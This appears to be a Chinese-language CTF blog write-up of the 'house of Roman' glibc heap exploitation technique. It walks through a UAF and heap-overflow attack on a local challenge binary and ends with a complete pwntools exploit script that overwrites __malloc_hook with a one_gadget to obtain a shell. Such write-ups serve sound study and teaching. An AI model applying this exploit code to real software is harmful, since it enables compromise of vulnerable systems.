CTF-PWN

house_of_roman

2018-07-31  本文已影响242人  zs0zrc

记录一下,防止以后忘了

house_of_roman:
该技术用于 bypass ALSR,利用12-bit 的爆破来达到获取shell的目的。且仅仅只需要一个 UAF 漏洞以及能创建任意大小的 chunk 的情况下就能完成利用

house_of_roman的作者提供了一个demo作为展示
利用大概分三个步骤:

  1. 将 FD 指向 malloc_hook
  2. 修正 0x71 的 Freelist
  3. 往 malloc_hook 写入 one gadget

先分析下程序:
程序开启了PIE和NX,一共有3个功能

image.png

程序存在UAF漏洞和堆溢出漏洞

堆溢出:

image.png

UAF:

image.png

程序的大致情况了解了后,分析作者的利用过程
我将作者的利用过程又细分了下

  1. 先分配3个chunk(0,1,2),大小分别为0x20,0xd0,0x70
  2. 用write_chunk功能在chunk2 + 0x68上设置fakesize 为0x61,用于后面的fastbins attack
  3. 将chunk1 free 掉后再分配,使得chunk1中包含main_arean+0x88的指针
  4. 然后分配3个大小为0x70的chunk(3,4,5),为后面做准备
  5. 通过堆溢出漏洞,将chunk1的size字段伪造为0x71,然后将chunk2,chunk3 free掉,通过UAF漏洞,将chunk3的fd指针最低位修改成0x20,将chunk1加入fastbins list中
  6. 将chunk1的fd修改成 __malloc_hook-0x23,之所以修改成__malloc_hook-0x23 ,是为了后面的fastbin dup, __malloc_hook - 0x23 + 0x8的地址上的值为0x7f
  7. 连续分配3个大小为0x70的chunk,就可以获得包含__malloc_hook的chunk,将这个chunk指针赋给chunk0
  8. free掉chunk4,通过uaf,将chunk4的FD修改为0,修复fastbins list
  9. 利用unsorted bins attack 向__malloc_hook写入main_arena+0x88
  10. 通过编辑功能,将__malloc_hook的低三个字节修改成one_gadget的偏移
  11. 最后连续free chunk5两次,通过malloc_printerr来出发malloc,getshell

为了方便调试,我关掉了aslr

fake = "A"*0x68
fake += p64(0x61)  ## fake size
edit(1,fake)
image.png image.png

*分配3个大小为0x70的chunk,修改chunk1的size字段为0x71

create(0x65,3)  # chunk3 0x555555757170
create(0x65,15) # chunk4 0x5555557571e0
create(0x65,18) # chunk5 0x555555757250

over = "A"*0x18  # off by one
over += "\x71"  # set chunk  1's size --> 0x71
edit(0,over)
image.png
delete(2)
delete(3)
heap_po = "\x20"
edit(3,heap_po)
image.png
malloc_hook_nearly = "\xed\x1a" #__malloc_hook - 0x23 
edit(1,malloc_hook_nearly)
image.png image.png image.png
create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
delete(1)
po = "B"*8
po += "\x00\x1b" # 这个是__memalign_hook的最低两位,为了将bk修改为__malloc_hook - 0x10
edit(1,po)
create(0xc8,1)
image.png
over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

此时 __malloc_hook附近的内容为下图,padding的计算是分配包含__malloc_hook的chunk的地址 减去 __malloc_hook的地址

image.png image.png image.png image.png

exp:

from pwn import*
#context.log_level = 'debug'

p = process('./new_chall')

def create(size,idx):
    p.recv()
    p.sendline('1')
    p.recv()
    p.sendline(str(size))
    p.recv()
    p.sendline(str(idx))

def edit(idx,content):
    p.recv()
    p.sendline('2')
    p.recv()
    p.sendline(str(idx))
    p.recv()
    p.send(content)

def delete(idx):
    p.recv()
    p.sendline('3')
    p.recv()
    p.sendline(str(idx))

p.recvuntil(":")
p.sendline("zs0zrc")

create(0x18,0) # chunk0 0x20
create(0xc8,1) # chunk1 d0 0x555555757030   
create(0x65,2) # chunk2 0x70 0x555555757100

fake = "A"*0x68
fake += p64(0x61)  ## fake size
edit(1,fake)
log.info('edit chunk 1 to fake')

delete(1)
create(0xc8,1)

create(0x65,3)  # chunk3 0x555555757170
create(0x65,15) # chunk4 0x5555557571e0
create(0x65,18) # chunk5 0x555555757250

over = "A"*0x18  # off by one
over += "\x71"  # set chunk  1's size --> 0x71
edit(0,over)
log.info('set chunk  1 size --> 0x71')

delete(2)
delete(3)
heap_po = "\x20"
edit(3,heap_po)
log.info('ADD b to fastbins list')

# malloc_hook-->[0x7ffff7dd1b10]
malloc_hook_nearly = "\xed\x1a" #__malloc_hook - 0x23 
edit(1,malloc_hook_nearly)
log.info("change B fd ")

create(0x65,0)
create(0x65,0)
create(0x65,0) #malloc a chunk include malloc_hook

delete(15)
edit(15,p64(0))#fix fastbins list
log.info('fix fastbins list')

create(0xc8,1)
create(0xc8,1)
create(0x18,2)
create(0xc8,3)
create(0xc8,4)
delete(1)
po = "B"*8
po += "\x00\x1b"
edit(1,po)
create(0xc8,1)
log.info('use unsortbins attack change malloc_hook to main_arena + 0x88')

over = "R"*0x13   # padding for malloc_hook
over += "\xa4\xd2\xaf"
edit(0,over)

delete(18)
delete(18)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读